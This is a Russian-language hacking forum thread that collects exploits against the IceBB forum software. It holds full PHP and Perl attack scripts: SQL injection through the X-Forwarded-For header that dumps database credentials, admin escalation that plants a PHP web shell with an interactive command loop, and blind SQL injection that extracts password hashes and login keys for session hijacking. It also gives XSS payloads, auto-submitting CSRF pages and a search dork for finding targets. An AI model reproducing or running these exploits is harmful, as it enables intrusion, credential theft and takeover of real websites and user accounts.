Форумы [Обзор уязвимостей IceBB]

Discussion in 'Уязвимости CMS/форумов' started by Solide Snake, 14 Jan 2008.

  1. Solide Snake

    Solide Snake Banned

    Joined:
    28 Apr 2007
    Messages:
    382
    Likes Received:
    820
    Reputations:
    69
    Обзор уязвимостей IceBB


    URL: http://www.icebb.net/
    Actual version: 1.0-rc8
    Source: Download


    IceBB 1.0-rc6 Remote Database Authentication Details Exploit


    Воздействие: Обход аутентификации

    PHP:
    <?php
    /*---------------------------------------------------------*\
    IceBB 1.0-rc6 - Database Authentication Details Exploit

    [|Description:|]
    A security breach has been discoverd in IceBB 1.0-rc6.
    This breach is caused by a bad filtering of the X-Forwarded-For variable:

    > ./includes/functions.php, line 73
    $ip     = empty($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['REMOTE_ADDR'] : $_SERVER['HTTP_X_FORWARDED_FOR'];
    $ip    = $this->clean_key($ip);
    $input['ICEBB_USER_IP']    = $ip;

    > ./icebb.php, line 169
    $icebb->client_ip    = $input['ICEBB_USER_IP'];

    > ./admin/index.php, line 112
    $icebb->adsess    = $db->fetch_result("SELECT adsess.*,u.id as userid,u.username,u.temp_ban,g.g_view_board FROM icebb_adsess AS adsess LEFT JOIN icebb_users AS u ON u.username=adsess.user LEFT JOIN icebb_groups AS g ON u.user_group=g.gid WHERE adsess.asid='{$icebb->input['s']}' AND adsess.ip='{$icebb->client_ip}' LIMIT 1");

    A hacker could exploit this security breach in order to alter a SQL request.

    [|Advisory:|]
    http://www.aeroxteam.fr/advisory-IceBB-1.0rc6.txt

    [|Solution:|]
    No one. Think about update your forum core when a patch will be available on the official website.

    Discovered by Gu1ll4um3r0m41n (aeroxteam --[at]-- gmail --[dot]-- com)
    for AeroX (AeroXteam.fr)
    (C)opyleft 2007
    Greetz: Math², KERNEL_ERROR, NeoMorphS, Snake91, Goundy, Alkino (...) And everybody from #aerox
    \*---------------------------------------------------------*/

    if(count($argv) == 4) {
        
    head();
        if(
    $argv[3] != && $argv[3] != 2) {
            die(
    "\r\nIncorrect version !");
        } else {
            
    $version $argv[3];
        }
        
        
        
    ############## PART 1 ##############
        
    echo "[+] Connecting... ";
        
    $sock fsockopen($argv[1], 80$eno$estr30);
        if (!
    $sock) {
            die(
    "Failed\r\n\r\nCould not connect to ".$argv[1]." on the port 80 !");
        }
        echo 
    "OK\r\n";
        echo 
    "[+] Getting tables prefix... ";
        
    $query1  "GET ".$argv[2]."index.php?s=fake_sid&act=sql HTTP/1.1\r\n";
        
    $query1 .= "Host: ".$argv[1]."\r\n";
        
    $query1 .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\r\n";
        
    $query1 .= "X-Forwarded-For: ".getInj()."\r\n";
        
    $query1 .= "Accept: */*\r\n";
        
    $query1 .= "Connection: Close\r\n\r\n";
        
    fwrite($sock$query1);
        
    $result1 '';
        while(!
    feof($sock)) {
            
    $result1 .= fgets($sock);
        }
        
    fclose($sock);
        if(
    preg_match("`<tr><td class='row2'><a href='index\.php\?s=my_sessid&act=sql&table=(.*?)adsess'>`"$result1$expreg)) {
            if(
    $expreg[1] == '') {
                echo 
    "Failed\r\n\r\nExploit Failed :(";
                die();
            }
            
    $prefix $expreg[1];
            echo 
    "OK (".$expreg[1].")\r\n";
        } else {
            echo 
    "Failed\r\n\r\nExploit Failed :(";
            die();
        }
        
        
    ############## PART 2 ##############
        
    echo "[+] Creating fake skin... ";
        
    $sock fsockopen($argv[1], 80$eno$estr30);
        if (!
    $sock) {
            die(
    "Failed\r\n\r\nCould not connect to ".$argv[1]." on the port 80 !");
        }
        
    $postdata2 "act=sql&func=runquery&query=INSERT+INTO+%60".$prefix."skins%60+%28%60skin_id%60%2C+%60skin_name%60%2C+%60skin_author%60%2C+%60skin_site%60%2C+%60skin_folder%60%2C+%60skin_preview%60%2C+%60skin_is_default%60%2C+%60skin_is_hidden%60%2C+%60skin_wrapper%60%2C+%60skin_macro_cache%60%2C+%60smiley_set%60%29+VALUES+%28666%2C+0x6F776E4564%2C+0x6834783072%2C+0x687474703A2F2F7777772E676F6F676C652E6672%2C+0x2E2E%2C+0x00%2C+0%2C+1%2C+0x00%2C+0x00%2C+0x00%29%3B";
        
    $query2  "POST ".$argv[2]."index.php?s=fake_sid HTTP/1.1\r\n";
        
    $query2 .= "Host: ".$argv[1]."\r\n";
        
    $query2 .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\r\n";
        
    $query2 .= "X-Forwarded-For: ".getInj()."\r\n";
        
    $query2 .= "Accept: */*\r\n";
        
    $query2 .= "Connection: Close\r\n";
        
    $query2 .= "Content-Type: application/x-www-form-urlencoded\r\n";
        
    $query2 .= "Content-Length: ".strlen($postdata2)."\r\n\r\n";
        
    $query2 .= $postdata2;
        
    fwrite($sock$query2);
        
    $result2 '';
        while(!
    feof($sock)) {
            
    $result2 .= fgets($sock);
        }
        
    fclose($sock);
        if(
    strpos($result2"<textarea name='query' rows='5' cols='50'>INSERT INTO `icebb_skins` (`skin_id`, `skin_name`, `skin_author`, `skin_site`, `skin_folder`, `skin_preview`, `skin_is_default`, `skin_is_hidden`, `skin_wrapper`, `skin_macro_cache`, `smiley_set`) VALUES (666, 0x6F776E4564, 0x6834783072, 0x687474703A2F2F7777772E676F6F676C652E6672, 0x2E2E, 0x00, 0, 1, 0x00, 0x00, 0x00);</textarea>") === FALSE) {
            echo 
    "Failed. Maybe Skin already exists ?\r\n";
        } else {
            echo 
    "OK\r\n";
        }
        
        
        
    ############## PART 3 ##############
        
    echo "[+] Getting config.php... ";
        
    $sock fsockopen($argv[1], 80$eno$estr30);
        if (!
    $sock) {
            die(
    "Failed\r\n\r\nCould not connect to ".$argv[1]." on the port 80 !");
        }
        
    $query3  "GET ".$argv[2]."index.php?s=fake_sid&act=skins&func=templates&skinid=666&code=edit&template=config HTTP/1.1\r\n";
        
    $query3 .= "Host: ".$argv[1]."\r\n";
        
    $query3 .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\r\n";
        
    $query3 .= "X-Forwarded-For: ".getInj()."\r\n";
        
    $query3 .= "Accept: */*\r\n";
        
    $query3 .= "Connection: Close\r\n\r\n";
        
    fwrite($sock$query3);
        
    $result3 '';
        while(!
    feof($sock)) {
            
    $result3 .= fgets($sock);
        }
        
    fclose($sock);
        if(
    preg_match("`(<\?php.*\?>)`s"$result3$expreg2)) {
            echo 
    "OK\r\n\r\n";
            echo 
    $expreg2[1];
        } else {
            echo 
    "Failed\r\n\r\nExploit Failed :(";
        }
        
        
        
    ############## PART 4 ##############
        
    echo "\r\n\r\n[+] Removing fake skin... ";
        
    $sock fsockopen($argv[1], 80$eno$estr30);
        if (!
    $sock) {
            die(
    "Failed\r\n\r\nCould not connect to ".$argv[1]." on the port 80 !");
        }
        
    $query4  "GET ".$argv[2]."index.php?s=fake_sid&act=skins&func=disable&skinid=666 HTTP/1.1\r\n";
        
    $query4 .= "Host: ".$argv[1]."\r\n";
        
    $query4 .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\r\n";
        
    $query4 .= "X-Forwarded-For: ".getInj()."\r\n";
        
    $query4 .= "Accept: */*\r\n";
        
    $query4 .= "Connection: Close\r\n\r\n";
        
    fwrite($sock$query4);
        
    fclose($sock);
        echo 
    "OK\r\n\r\n";
        echo 
    "Do you want to create a local config.php file ? (Y/N) ";
        
    $a strtoupper(trim(fgets(STDIN)));
        if(
    $a == 'Y') {
            
    $handle fopen('config_'.$argv[1].'_'.time().'.php''w');
            
    fwrite($handle$expreg2[1]);
            
    fclose($handle);
        }
        
    } else {
        
    usage();
    }
    function 
    getInj() {
        global 
    $version;
        if(
    $version == 1) {
            return 
    "' AND 1=2 UNION SELECT 'my_sessid' as asid, 'lol' as user, '127.0.0.1' as ip, ".(time() - 60)." as logintime, 'home' as location, ".(time() - 55)." as last_action, 1 as userid, 'lol' as username /*";
        } elseif(
    $version == 2) {
            return 
    "' AND 1=2 UNION SELECT 'my_sessid' as asid, 'lol' as user, '127.0.0.1' as ip, ".(time() - 60)." as logintime, 'home' as location, ".(time() - 55)." as last_action, 1 as userid, 'lol' as username, 0 as temp_ban, 1 as g_view_board /*";
        }
    }
    function 
    usage() {
        echo 
    "+-------------------------------------------------------+\r\n";
        echo 
    "|   IceBB <= 1.0-rc6 Database Authentication Details    |\r\n";
        echo 
    "|             By Gu1ll4um3r0m41n for AeroX              |\r\n";
        echo 
    "| Usage: php exploit.php site.com /pathtoadmin/ version |\r\n";
        echo 
    "|                Version:   1 = rc5                     |\r\n";
        echo 
    "|                           2 = rc6                     |\r\n";
        echo 
    "+-------------------------------------------------------+\r\n";
    }
    function 
    head() {
        echo 
    "+--------------------------------------------------+\r\n";
        echo 
    "| IceBB <= 1.0-rc6 Database Authentication Details |\r\n";
        echo 
    "|           By Gu1ll4um3r0m41n for AeroX           |\r\n";
        echo 
    "+--------------------------------------------------+\r\n\r\n";
    }
    ?>

    IceBB 1.0-rc5 Remote Code Execution Exploit


    Воздействие: Выполнение произвольных команд

    PHP:
    #!/usr/bin/perl
    #  IceBB 1.0-rc5 Remote Code Execution Exploit
    #  1. register a user
    #  2. run this exploit with this usage : $perl xpl.pl [host&path] [uname] [pass]
    #  3. login with admin access :)
    #
    #
    #### Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net

    use LWP::UserAgent;
    use HTTP::Cookies;

    $port = "80";
    $host = $ARGV[0];
    $uname = $ARGV[1];
    $passwd = $ARGV[2];
    $url = "http://".$host;

    print q(
    ###########################################################
    #          IceBB 1.0-rc5 Remote Code Exec Exploit         #
    #                    www.Hessamx.Net                      #
    ################# (C)oded By Hessam-x #####################

    );


    if (@ARGV < 3) {
    print " #  usage : xpl.pl [host&path] [uname] [pass]\n";
    print " #  e.g : xpl.pl www.milw0rm.com/icebb/ str0ke 123456\n";
    exit();
    }

       print " [~] User/Password : $uname/$passwd \n";
       print " [~] Host : $host \n";

    $xpl = LWP::UserAgent->new() or die;
    $cookie_jar = HTTP::Cookies->new();

    $xpl->cookie_jar( $cookie_jar );


    $login = $xpl->post($url.'index.php',
    Content => [
    'act' => 'login',
    'from' => 'index.php',
    'user' => $uname,
    'pass' => $passwd,
    'func' => 'Login',
    ],);

    if($cookie_jar->as_string =~ /icebb_sessid=(.*?);/) {
           $cookie = $1;
       print " [~] Logined ...\n";
    } else {
    print " [-] Can not Login In $host !\n";
    exit();
    }

    $badcode = "', user_group='1";
    $avata = $xpl->post($url.'index.php',Content_Type => 'form-data',
    Content => [
    'avtype'  => 'upload',
    'act' => 'ucp',
    'func' => 'avatar',
    'file'   => [
                  undef,
                  'avatar.jpg'.$badcode,
                  Content_type => 'text/plain',
                  Content => 'MYAVATAR',
                 ],
    'submit'        => 'Save',
    ],
    );
    $avat = $xpl->post($url.'index.php',Content_Type => 'form-data',
    Content => [
    'avtype'  => 'upload',
    'act' => 'ucp',
    'func' => 'avatar',
    'file'   => [
                  undef,
                  'shell.php'.$badcode,
                  Content_type => 'text/plain',
                  Content => '<? echo 1 ; echo _START_ ; system(\$_GET[\'cmd\']); echo _END_ ; ?>',
                 ],
    'submit'        => 'Save',
    ],
    );
    $test = $xpl->get($url.'index.php');
    if($test->as_string =~ /Admin Control Center/) {
    print " [+] You Are admin Now ! \n";
    } else {
    print " [-] Exploit Failed ! \n";
    exit();
    }
    if($test->as_string =~ /profile=(.*?)'>/) {
    $uid = $1;
    print " [~] User id : $1 \n";
    } else {
    print " [?] please enter user id : ";
         chomp($uid=<STDIN>);
    }

       while ()
    {
         print "\n[Shell - type 'exit' for exit]\$ ";
         chomp($exc=<STDIN>);
        &sys($exc);
    }
    sub sys($exc) {
         if ($exc eq 'exit') { exit() ; }
    $res = $xpl->get($url.'uploads/av-'.$uid.'.php?cmd='.$exc);
    @result = split(/\n/,$res->content);
    $runned = 0;
    $on = 0;
    for $res(@result) {
       if ($res =~ /^_END_/) { print "\n"; return 0; }
       if ($on == 0) { print "  $res\n"; }
       if ($res =~ /^_START_/) { $on = 1; $runned = 1; }
    }
       if (!$runned) { print "\n Can not execute command . EXPLOIT FAILED !\n" ; exit(); };

    }


    print "\n #################################################### \n";

    IceBB 1.0-rc5 Remote Create Admin Exploit


    Воздействие: SQL-инъекция

    PHP:
    #!/usr/bin/perl
    #  IceBB 1.0-rc5 Remote Create Admin Exploit
    #  1. register a user
    #  2. run this exploit with this usage : $perl xpl.pl [host&path] [uname] [pass]
    #  3. login with admin access :)
    # - magic_quotes_gpc = Off
    #
    #### Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net

    use LWP::UserAgent;
    use 
    HTTP::Cookies;

    $port "80";
    $host $ARGV[0];
    $uname $ARGV[1];
    $passwd $ARGV[2];
    $url "http://".$host;

    print 
    q(
    ###########################################################
    #        IceBB 1.0-rc5 Remote Create Admin Exploit        #
    #                    www.Hessamx.Net                      #
    ################# (C)oded By Hessam-x #####################

    );


    if (@
    ARGV 3) {
    print 
    " #  usage : xpl.pl [host&path] [uname] [pass]\n";
    print 
    " #  e.g : xpl.pl www.milw0rm.com/icebb/ str0ke 123456\n";
    exit();
    }

       print 
    " [~] User/Password : $uname/$passwd \n";
       print 
    " [~] Host : $host \n";

    $xpl LWP::UserAgent->new() or die;
    $cookie_jar HTTP::Cookies->new();

    $xpl->cookie_jar$cookie_jar );


    $login $xpl->post($url.'index.php',
    Content => [
    'act' => 'login',
    'from' => 'index.php',
    'user' => $uname,
    'pass' => $passwd,
    'func' => 'Login',
    ],);

    if(
    $cookie_jar->as_string =~ /icebb_sessid=(.*?);/) {
           
    $cookie = $1;
       print 
    " [~] Logined ...\n";
    } else {
    print 
    " [-] Can not Login In $host !\n";
    exit();
    }

    $badcode "', user_group='1";
    $avat $xpl->post($url.'index.php',Content_Type => 'form-data',
    Content => [
    'avtype'  => 'upload',
    'act' => 'ucp',
    'func' => 'avatar',
    'file'   => [
                  
    undef,
                  
    'avatar.jpg'.$badcode,
                  
    Content_type => 'text/plain',
                  
    Content => 'MYAVATAR',
                 ],
    'submit'        => 'Save',
    ],
    );
    $test $xpl->get($url.'index.php');
    if(
    $test->as_string =~ /Admin Control Center/) {
    print 
    " [+] You Are admin Now ! \n";
    } else {
    print 
    " [-] Exploit Failed ! \n";
    }
    print 
    "\n #################################################### \n";

    Для поиска форумов в поиске пишем:
    Code:
    Powered by IceBB
     
    #1 Solide Snake, 14 Jan 2008
    Last edited: 14 Jan 2008
    4 people like this.
  2. halkfild

    halkfild Members of Antichat

    Joined:
    11 Nov 2005
    Messages:
    365
    Likes Received:
    578
    Reputations:
    313
    Affects: 1.0-rc7 and below (The development version of 1.1 is also affected)
    Severity: Critical

    Details:
    A flaw in includes/functions.php allows an attacker to inject SQL into an SQL statement.

    но дальше этого описания ничего нет.. поэтому я решил посмотреть :D.... если мы посмотрим includes/functions.php в 7 и 8 ветке увидим

    функция что проверяет значения
    PHP:
    // give our key a good scrubbin'
    function wash_key($k)
    {
        
    //$k        = str_replace('+',urlencode('+'),$k);
        
    $k        htmlspecialchars(urldecode($k));

        return 
    $k;
    }
    и 8-мая
    PHP:
    // give our key a good scrubbin'
    function wash_key($k)
    {
        
    $k        htmlspecialchars($k,ENT_QUOTES);


        return 
    $k;
    }
    ну а если 2 раза закодировать
    то функция пропустит
    експлоит писать не стал, потому что мало форумов под 7-мой версией

    з.ы. вообще под этим движком мало форумов))
    з.з.ы у кого есть желание тестоните на локалхосте
     
    _________________________
    3 people like this.
  3. Roba

    Roba Banned

    Joined:
    24 Oct 2007
    Messages:
    237
    Likes Received:
    299
    Reputations:
    165
    Active XSS
    Прикрепляем свой html - файл к посту, в нем будет находится java-скрипт. При открытии вложенного документа код сфункционирует.​

    © ZAMUT
     
    #3 Roba, 15 Jul 2008
    Last edited: 15 Jul 2008
    4 people like this.
  4. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    IceBB <= 1.0-RC9.2 Blind SQL Injection / Session Hijacking Exploit

    IceBB <= 1.0-RC9.2 Blind SQL Injection / Session Hijacking Exploit

    Exploit:

    Code:
    #!/usr/bin/perl
    # IceBB <= 1.0-RC9.2 Blind SQL Injection
    # Admin/User's Session Hijacking PoC
    # Coded by __GiReX__
    
    use LWP::UserAgent;
     
    if(not defined $ARGV[1])
    {
    	banner();
    	print "[+] Usage:\tperl  $0  <host>  <path>  [id]\n";
    	print "[+] Example:\tperl  $0  localhost  /icebb/ 1\n";
    	exit;
    }
    
    my $target  =  ($ARGV[0] =~ /^http:\/\//) ?  $ARGV[0].$ARGV[1]:  'http://' . $ARGV[0].$ARGV[1];
    my $id  =  (defined $ARGV[2]) ? $ARGV[2]: 1;  
    
    my $lwp =  new LWP::UserAgent;
    my @cset  =  (48..57, 97..102); 
    
    my ($hash, $key, $user, $prefix) =  (undef, undef, undef, undef);      
    
    banner();
    $user = get_username();
    $prefix =  get_prefix();
    
    print STDOUT "[+] User $id username: $user\n";
    	
    for(my $j = 1; $j <= 32; $j++)
    {  
        foreach $char(@cset)
        {	
    		info(chr($char), $hash, "password");
    		$rv = check_char($char, $j, "password");	
    	
             	if(defined $rv)
    	     	{		
    	         	$hash .= chr($char);
    	         	last;
    	     	}
        }
    	
        last if $j > 2 and not defined $hash;
    }	
    
    if(not defined $hash or length($hash) != 32)
    {
    	print STDOUT "\n\n[-] Exploit mistake: probably fixed\n";
    	exit;
    }
    else
    {
    	print STDOUT "\n" x 1; 
    }
    
    for(my $j = 1; $j <= 32; $j++)
    {  
        foreach $char(@cset)
        {	
    	  info(chr($char), $key, "loginkey");
    	  $rv = check_char($char, $j, "login_key");	
    	
              if(defined $rv)
    	  {		
    	       $key .= chr($char);
    	       last;
    	  }
        }
    	
        last if $j > 2 and not defined $key;
    }
    
    if(not defined $key or length($key) != 32)
    {
         print STDOUT "\n\n[-] Exploit mistake: user $id has not a login_key\n";
         exit;
    }
    
    print "\n\n[+] Attempting to login with user's $id session...\n\n";
    
    $logged = try_login();
    
    if(defined $logged) 
    {
    	print STDOUT "[+] Oh yeah logged in!\n\n";
    	print STDOUT "[+] Try yourself with your browser and these cookies:\n\n";
    	print STDOUT "[+] Cookie: ${prefix}user=${user}; ${prefix}pass=${hash}; \n".
    			 "            ${prefix}uid=${id}; ${prefix}login_key=${key}\n\n";
    }
    else
    {
    	print STDOUT "[-] Attempt failed...\n\n";
    }
    
    print STDOUT "[+] Exploit terminated\n";
    
    
    sub try_login()
    {
       my $lwp = new LWP::UserAgent;
          $lwp->default_header('Cookie' => "${prefix}user=${user}; ${prefix}pass=${hash}; ${prefix}uid=${id}; ${prefix}login_key=${key}"); 
    	  
    	  my $res = $lwp->get($target);
    	  
    	  if($res->is_success)
    	  {
    		  if($res->content =~ /User Control Panel/)
    		  {
    			    return 1;
    		  }
    	  }
    	
      return undef;
    }
    
    sub info
    {
      my($c, $cur, $str)  =  @_;
    	
    	$cur = '' unless defined $cur;
    	print  STDOUT "[+] User $id ${str}: ${cur}${c}\r";
    	
      $| = 1; 
    }
    
    sub check_char
    {
      my ($char, $n, $field)  =  @_ ;
       
        my $res = $lwp->get($target."index.php?act=members&username=%5c&url=".
    			        "OR+ASCII(SUBSTRING((SELECT+${field}+FROM+${prefix}users+WHERE+id=${id}),${n},1))=${char}%23");
    		
    	if($res->is_success)
        	{
    		if($res->content !~ /No members were found that met your selected critera/ and $res->content =~ /<h2>Member list<\/h2>/)
    		{
    			 return $res->is_success; 	 
    		}
    	}
    	
      return undef;
    }
    
    sub get_prefix()
    {
      my $rv = "icebb";
      
    	my $res = $lwp->get($target."index.php?act=members&username=%5c&url=OR+1");
    	
    	if($res->content =~ /as total FROM ([a-z]+)_users WHERE/)
    	{
    		$rv = $1;
    	}
    	
      return $rv . '_';
    }
    
    sub get_username()
    {  
      my $rv = undef;
      my $res = $lwp->get($target."index.php?profile=${id}");
    	
    	if($res->is_success)
    	{
    		if($res->content =~ /<h2>View profile: (.+)<\/h2>/)
    		{
    			$rv = $1;
    		}
    		else
    		{
    			die "[-] Exploit mistake: user ${id} does not exists\n";
    		}
    	}
    	else
    	{
    		die "[-] Exploit mistake: could not connect to $target\n";
    	}
    	
      return $rv;
     }
    
    sub banner
    {
        print "\n";
        print "[+] IceBB <= 1.0-RC9.2 Blind SQL Injection\n";
        print "[+] Admin/User's Session Hijacking PoC\n";
        print "[+] Coded by __GiReX__\n";
        print "\n\n";
    }
    
    Original link
     
  5. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    IceBB 1.0-rc9.3 SQL-inj in [skin]


    IceBB 1.0-rc9.3

    Уязвимость существует из-за недостаточной обработки входных данных в параметре "skin" в сценарии index.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

    http://www.securitylab.ru/vulnerability/357234.php
     
  6. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    Сайт: icebb.net
    Версии: все версии - представленные уязвимости имеют место и на официальном форуме продукта forums.xaos-ia.com

    Path Disclosing

    Зарегистрировавшись на форуме и зайдя в панель управления, мы увидим сбоку ссылку "Change Password" на index.php?act=ucp&func=password.
    В html-коде этой страницы меняем строчку
    Code:
    <input type='password' name='pass_old' class='form_textbox' />
    
    на
    Code:
    <input type='password' name='pass_old[]' class='form_textbox' />
    
    Теперь заполняем поля и отправляем запрос.
    На официальном форуме в ответ я увидел:
    Code:
    PHP Warning [2]: md5() expects parameter 1 to be string, array given in /home/xaos/public_html/forums/modules/usercp.php on line 370
    

    Active XSS

    В скрипте /includes/classes/post_parser.php есть следующий участок кода:

    PHP:
        function xss_is_bad($t)
        {
            
    //echo "javascript:";
            
            //$t                = html_entity_decode($t,ENT_QUOTES,'UTF-8');
            
    $t                htmlspecialchars_decode($t,ENT_QUOTES);
        
            
    $t                str_replace("<","<",$t);
            
    $t                str_replace(">",">",$t);
        
            
    //$t                = str_replace("&quot;","&quot;",$t);
            
    $t                preg_replace("/&#0*([0-9]*);?/",'&#\\1;',$t);
            
    $t                str_replace('javascript:','javascript:',$t);
        
            
    //$t                = html_entity_decode($t,ENT_QUOTES);
            //echo $t;
        
            
    $t                preg_replace("/javascript:/i"        "nojava"/*ava*/."script:"    ,$t);
            
    $t                preg_replace("/vbscript:/i"        "novb"/*b*/."script:"    ,$t);
            
    //$t                = preg_replace('/javascript:/i','javascript:',$t);
            //$t                = preg_replace('#(<[^>]+[\s\r\n\"\'])(on|xmlns)[^>]*\]#iU',"$1]",$t);
        
            //$t                = htmlspecialchars($t,ENT_QUOTES);
            
            //$t                    = htmlentities($t,ENT_QUOTES);
            
            //$t                    = preg_replace("`&#([0-9]+);`s",'&#\\1;',$t);
        
            
    return $t;
        }

    В комментарии громко сказано, что он защищает от всех известных видов XSS, однако легко заметить, что следующая строчка портит всё дело:
    PHP:
            $t                str_replace('javascript:','javascript:',$t);
    Она заменяет зашифрованное слово javascript на незашифрованное. Собственно, ничего не мешает написать Javascript с большой буквы и отправить следующий запрос:

    Code:
    [*img]&#74&#97&#118&#97&#115&#99&#114&#105&#112&#116:alert();[*/img]
    В ответ мы увидим желаемое.


    Blind SQL-Injection

    Просматривая исходники движка в течении 5 минут, можно обратить внимание на используемый класс поиска. В нём есть такая строчка:

    PHP:
    $db->query("SELECT id FROM icebb_users WHERE username='{$icebb->input['search_user']}'");
    Зайдя на страничку поиска и введя в поле Author или Search by keyword запрос "+AND+1=1", мы увидим список всех пользователей.
    Здесь sql-инъекция в post-запросе.
    Соответственно, введя "+AND+1=2", мы увидим сообщение об ошибке.
    Вывод sql-ошибок выключен, так что инъекция слепая, узнаём версию: +AND+ascii(substring(version(),1,1))>1
    Пароль первого пользователя: +AND+ascii(substring((select+password+from+icebb_users+where+id=1),1,1))>1
    И так далее...
     
    #6 Root-access, 13 Dec 2009
    Last edited: 13 Dec 2009
    6 people like this.
  7. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    Уязвимость: Profile Change XSRF (CSRF) Vulnerability.
    Описание: Изменение профильных данных пользователя на произвольные. Работает во всех версиях.
    Эксплойт:
    Code:
    <html>
    <body>
    <div style="display:none;">
    <form action='http://victim.com/index.php?act=ucp&func=profile' method='post' name='profileInfo'>
    <strong>Member title:</strong><input type='text' name='title' value='XSRF by Root-access'  /><br>
    <strong>Location:</strong><input type='text' name='AHCo.Ru' value='' /><br>
    <strong>Gender:</strong><select name='gender'><br>
    <option value='u' selected='selected'>-</option>
    <option value='m'>Male</option>
    <option value='f'>Female</option>
    </select>
    <strong>MSN Messenger:</strong><input type='text' name='msn' value='' /><br>
    <strong>AIM screen name:</strong><input type='text' name='aim' value='' /><br>
    <strong>Yahoo Messenger:</strong><input type='text' name='yahoo' value='' /><br>
    <strong>Jabber:</strong><input type='text' name='jabber' value='' /><br>
    <strong>Website:</strong><input type='text' name='url' value='http://ahco.ru' /><br>
    <strong>Birthday:</strong><select name='dob_month' class='form_dropdown'><option value='1'>January</option><option value='2'>February</option><option value='3'>March</option><option value='4'>April</option><option value='5'>May</option><option value='6'>June</option><option value='7'>July</option><option value='8'>August</option><option value='9'>September</option><option value='10'>October</option><option value='11'>November</option><option value='12' selected='selected'>December</option></select> <select name='dob_day' class='form_dropdown'><option value='1'>1</option><option value='2'>2</option><option value='3'>3</option><option value='4'>4</option><option value='5'>5</option><option value='6'>6</option><option value='7'>7</option><option value='8'>8</option><option value='9'>9</option><option value='10'>10</option><option value='11'>11</option><option value='12'>12</option><option value='13'>13</option><option value='14'>14</option><option value='15'>15</option><option value='16'>16</option><option value='17'>17</option><option value='18'>18</option><option value='19'>19</option><option value='20'>20</option><option value='21'>21</option><option value='22'>22</option><option value='23'>23</option><option value='24'>24</option><option value='25'>25</option><option value='26'>26</option><option value='27'>27</option><option value='28'>28</option><option value='29'>29</option><option value='30'>30</option><option value='31' selected='selected'>31</option></select> <select name='dob_year' class='form_dropdown'><option value='2009'>2009</option><option value='2008'>2008</option><option value='2007'>2007</option><option value='2006'>2006</option><option value='2005'>2005</option><option value='2004'>2004</option><option value='2003'>2003</option><option value='2002'>2002</option><option value='2001'>2001</option><option value='2000'>2000</option><option value='1999'>1999</option><option value='1998'>1998</option><option value='1997'>1997</option><option value='1996'>1996</option><option value='1995'>1995</option><option value='1994'>1994</option><option value='1993'>1993</option><option value='1992'>1992</option><option value='1991'>1991</option><option value='1990'>1990</option><option value='1989'>1989</option><option value='1988'>1988</option><option value='1987'>1987</option><option value='1986'>1986</option><option value='1985'>1985</option><option value='1984'>1984</option><option value='1983'>1983</option><option value='1982'>1982</option><option value='1981'>1981</option><option value='1980'>1980</option><option value='1979'>1979</option><option value='1978'>1978</option><option value='1977'>1977</option><option value='1976'>1976</option><option value='1975'>1975</option><option value='1974'>1974</option><option value='1973'>1973</option><option value='1972'>1972</option><option value='1971'>1971</option><option value='1970'>1970</option><option value='1969' selected='selected'>1969</option><option value='1968'>1968</option><option value='1967'>1967</option><option value='1966'>1966</option><option value='1965'>1965</option><option value='1964'>1964</option><option value='1963'>1963</option><option value='1962'>1962</option><option value='1961'>1961</option><option value='1960'>1960</option><option value='1959'>1959</option><option value='1958'>1958</option><option value='1957'>1957</option><option value='1956'>1956</option><option value='1955'>1955</option><option value='1954'>1954</option><option value='1953'>1953</option><option value='1952'>1952</option><option value='1951'>1951</option><option value='1950'>1950</option><option value='1949'>1949</option><option value='1948'>1948</option><option value='1947'>1947</option><option value='1946'>1946</option><option value='1945'>1945</option><option value='1944'>1944</option><option value='1943'>1943</option><option value='1942'>1942</option><option value='1941'>1941</option><option value='1940'>1940</option><option value='1939'>1939</option><option value='1938'>1938</option><option value='1937'>1937</option><option value='1936'>1936</option><option value='1935'>1935</option><option value='1934'>1934</option><option value='1933'>1933</option><option value='1932'>1932</option><option value='1931'>1931</option><option value='1930'>1930</option><option value='1929'>1929</option><option value='1928'>1928</option><option value='1927'>1927</option><option value='1926'>1926</option><option value='1925'>1925</option><option value='1924'>1924</option><option value='1923'>1923</option><option value='1922'>1922</option><option value='1921'>1921</option><option value='1920'>1920</option><option value='1919'>1919</option><option value='1918'>1918</option><option value='1917'>1917</option><option value='1916'>1916</option><option value='1915'>1915</option><option value='1914'>1914</option><option value='1913'>1913</option><option value='1912'>1912</option><option value='1911'>1911</option><option value='1910'>1910</option><option value='1909'>1909</option><option value='1908'>1908</option><option value='1907'>1907</option><option value='1906'>1906</option><option value='1905'>1905</option><option value='1904'>1904</option><option value='1903'>1903</option><option value='1902'>1902</option><option value='1901'>1901</option><option value='1900'>1900</option></select><br>
    <div class='buttonstrip'><input type='submit' name='submit' value="Save my Profile" id="xsrf" /></div>
    </div>
    </form>
    <script>document.getElementById("xsrf").click();</script>
    </body>
    </html>
    

    Уязвимость: Signature Change XSRF (CSRF) Vulnerability.
    Описание: Изменение подписи пользователя на произвольную. Работает во всех версиях.
    Эксплойт:
    Code:
    <html>
    <body>
    <form action='http://victim.com/index.php?act=ucp&func=signature' method='post' name='signatureInfo'>
    <textarea id='postbox' name='sig' rows='16' cols='50' class='form_textarea'>XSRF by Root-access: [url=http://ahacc.ru]Security[/url] & [url=http://ahco.ru]Hacking[/url]</textarea>
    <input type='submit' value="Save signature" id="xsrf"/>
    <script>document.getElementById("xsrf").click();</script>
    </body>
